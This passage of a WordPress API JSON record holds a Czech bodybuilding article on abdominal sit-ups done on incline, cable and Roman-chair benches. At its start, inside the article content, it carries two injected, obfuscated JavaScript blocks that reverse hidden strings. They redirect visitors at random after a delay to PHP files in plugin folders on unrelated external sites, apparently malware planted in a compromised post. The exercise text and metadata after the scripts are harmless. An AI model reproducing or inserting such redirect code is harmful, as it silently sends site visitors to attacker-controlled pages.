($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci shoduj\u00ed, \u017ee ta aktivace je v\u00fdrazn\u011bj\u0161\u00ed ne\u017e p\u0159i zdviz\u00edch nohou ve visu.<\/p>\n<p>Pokud budete schopni prov\u00e9st dv\u011b s\u00e9rie sed\u016f a leh\u016f na \u0159\u00edmsk\u00e9 lavici, m\u016f\u017eete se pova\u017eovat za p\u0159eborn\u00edky tr\u00e9ninku b\u0159i\u0161n\u00edch sval\u016f.<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>NEP\u0158EHL\u00cd\u017dEJTE CVIKY NA LAVI\u010cK\u00c1CH V\u00a0kulturistice naraz\u00edte na \u0159adu teori\u00ed. N\u011bkter\u00e9 maj\u00ed svoji v\u00e1hu, jin\u00e9 nikoliv. Postupem \u010dasu ka\u017ed\u00fd zjist\u00ed, co na n\u011bj funguje a co naopak v\u00a0jeho p\u0159\u00edpad\u011b smysl zcela postr\u00e1d\u00e1. Byla by proto \u0161koda n\u011bkter\u00e9 cviky p\u0159edem zavrhovat. Co\u017e se bohu\u017eel stalo n\u011bkter\u00fdm cvik\u016fm na b\u0159icho. U\u017e je to p\u011bkn\u00fdch p\u00e1r let, co zkracova\u010dky vytla\u010dily z\u00a0piedestalu d\u0159\u00edve tolik obl\u00edben\u00e9 sedy a lehy. Spolu s\u00a0nimi ale ustoupila do \u00fastran\u00ed i \u0161ikm\u00e1 a hyperextenzn\u00ed lavi\u010dka. P\u0159itom byly \u010dasy, kdy kulturist\u00e9 str\u00e1vili posilov\u00e1n\u00edm b\u0159icha na lavi\u010dk\u00e1ch pom\u011brn\u011b hodn\u011b \u010dasu. A p\u0159in\u00e1\u0161elo jim to skv\u011bl\u00e9 v\u00fdsledky. Na to bychom rozhodn\u011b nem\u011bli zapom\u00ednat. A mo\u017en\u00e1 va\u0161emu z\u00e1jmu trochu napom\u016f\u017ee, kdy\u017e prozrad\u00edme, \u017ee tyto cviky nechyb\u011bly ani v\u00a0tr\u00e9ninkov\u00e9m programu Arnolda Schwarzeneggera. SEDY A LEHY NA \u0160IKM\u00c9 LAVI\u010cCE Cvik se prov\u00e1d\u00ed z pozice, kdy chodidla zaklesnete za polstrovan\u00e9 v\u00e1le\u010dky, polo\u017e\u00edte se hlavou dol\u016f z\u00e1dy na lavi\u010dku (\u00fahel sklonu by m\u011bl b\u00fdt zhruba 45\u00b0) a pokr\u010den\u00e9 ruce dr\u017e\u00edte za hlavou. Z\u00a0t\u00e9to polohy se silou b\u0159i\u0161n\u00edch sval\u016f zvedejte do f\u00e1ze, kdy trup a stehna sv\u00edraj\u00ed prav\u00fd \u00fahel. Pot\u00e9 se pomalu, kontrolovan\u011b pokl\u00e1dejte zp\u011bt. &nbsp; N\u00e1ro\u010dn\u011bj\u0161\u00ed variantou pak jsou\u2026 &nbsp; SEDY A LEHY S\u00a0KLADKOU NA \u0160IKM\u00c9 LAVI\u010cCE Jde pravd\u011bpodobn\u011b o jeden z\u00a0nejefektivn\u011bj\u0161\u00edch a sou\u010dasn\u011b m\u00e1lo za\u0159azovan\u00fdch cvik\u016f na b\u0159icho. Kladka v\u00e1m umo\u017en\u00ed zat\u00ed\u017eit b\u0159i\u0161n\u00ed svaly skute\u010dn\u011b prvot\u0159\u00eddn\u011b. Zaujm\u011bte v\u00fdchoz\u00ed polohu na naklon\u011bn\u00e9 lavici hlavou dol\u016f, \u00fahel sklonu je stejn\u00fd jako u p\u0159edchoz\u00ed varianty. Lavi\u010dku um\u00edst\u011bte tak, abyste m\u011bli spodn\u00ed kladku za hlavou. Chodidla zaklesn\u011bte za op\u011brky, nat\u00e1hn\u011bte ruce dozadu a uchopte zakon\u010den\u00ed s\u00a0lanem. Konce lana p\u0159it\u00e1hn\u011bte k\u00a0ramen\u016fm. Pa\u017ee jsou nyn\u00ed v\u00a0takov\u00e9 pozici, abyste dr\u017eeli dlan\u011b u u\u0161\u00ed a v\u00a0t\u00e9to pozici z\u016fst\u00e1vaj\u00ed po celou dobu cvi\u010den\u00ed. Zatn\u011bte b\u0159i\u0161n\u00ed svaly a zvedejte do sedu, pokud mo\u017eno co nejv\u00fd\u0161, aby se lokty dotkly kolen. V\u00a0horn\u00ed f\u00e1zi zat\u00ednejte b\u0159icho a dbejte na silnou kontrakci sval\u016f. Potom se pomalu pokl\u00e1dejte zp\u011bt. Sna\u017ete se, aby s\u00edla nevych\u00e1zela ze stehenn\u00edch sval\u016f, t\u00edm byste aktivovali flexory bok\u016f. Pohyb zp\u011bt prov\u00e1d\u011bjte kontrolovan\u011b. Mezi opakov\u00e1n\u00edmi v\u00a0jedn\u00e9 s\u00e9rii byste se svaly b\u0159icha nem\u011bly v\u016fbec uvolnit. &nbsp; TIP PRO V\u00c1S: na \u0161ikm\u00e9 b\u0159i\u0161n\u00ed svaly se m\u016f\u017eete zam\u011b\u0159it, pokud budete v\u00a0horn\u00ed f\u00e1zi vyt\u00e1\u010det lev\u00fd loket k\u00a0prav\u00e9mu kolenu a naopak. Strany st\u0159\u00eddejte. &nbsp; Kdo vyhled\u00e1v\u00e1 v\u00fdzvy a chce otestovat s\u00edlu sv\u00fdch b\u0159i\u0161\u00e1k\u016f, m\u016f\u017ee vyzkou\u0161et SEDY A LEHY NA HYPEREXTENZN\u00cd (\u0158\u00cdMSK\u00c9) LAVI\u010cCE Ano, to \u201enejlep\u0161\u00ed\u201c jsme si nechali na konec. Sedy a lehy na \u0159\u00edmsk\u00e9 lavi\u010dce jsou cvikem pro pokro\u010dil\u00e9 a m\u011bli by je proto prov\u00e1d\u011bt ti, kte\u0159\u00ed ji\u017e maj\u00ed solidn\u00ed z\u00e1klady a netrp\u00ed probl\u00e9my s\u00a0doln\u00ed parti\u00ed zad. N\u00e1ro\u010dnost cviku vych\u00e1z\u00ed zejm\u00e9na z\u00a0faktu, \u017ee zcela chyb\u00ed opora zad ve v\u00fdchoz\u00ed f\u00e1zi pohybu. B\u0159icho, pota\u017emo cel\u00fd trup mus\u00ed b\u00fdt tedy nest\u00e1le v\u00a0tenzi, p\u0159i\u010dem\u017e v\u00a0horn\u00ed f\u00e1zi pohybu doch\u00e1z\u00ed k\u00a0siln\u00e9 kontrakci aktivovan\u00fdch sval\u016f. Sedn\u011bte si na \u0159\u00edmskou lavi\u010dku, zaklesn\u011bte chodidla za op\u011brky. Ruce dr\u017ete u hlavy nebo zk\u0159\u00ed\u017een\u00e9 na hrudn\u00edku. Za\u010d\u00ednejte ve vzp\u0159\u00edmen\u00e9m sedu. Pak pomalu pokl\u00e1dejte trup dozadu tak, aby byl v\u00a0doln\u00ed f\u00e1zi kousek nad rovnob\u011b\u017enou lini\u00ed se zem\u00ed. Siln\u011b zat\u00ednejte b\u0159i\u0161n\u00ed svaly. M\u00e1te mo\u017enost v\u00a0horn\u00ed f\u00e1zi aktivovat zejm\u00e9na doln\u00ed partii b\u0159i\u0161n\u00edch sval\u016f. Dokonce se mnoz\u00ed sportovci shoduj\u00ed, \u017ee ta aktivace je v\u00fdrazn\u011bj\u0161\u00ed ne\u017e p\u0159i zdviz\u00edch nohou ve visu. Pokud budete schopni prov\u00e9st dv\u011b s\u00e9rie sed\u016f a leh\u016f na \u0159\u00edmsk\u00e9 lavici, m\u016f\u017eete se pova\u017eovat za p\u0159eborn\u00edky tr\u00e9ninku b\u0159i\u0161n\u00edch sval\u016f. &nbsp;<\/p>\n","protected":false},"author":2,"featured_media":589,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-588","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-treninky"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/588","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=588"}],"version-history":[{"count":1,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/588\/revisions"}],"predecessor-version":[{"id":591,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/588\/revisions\/591"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/589"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=588"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=588"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=588"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}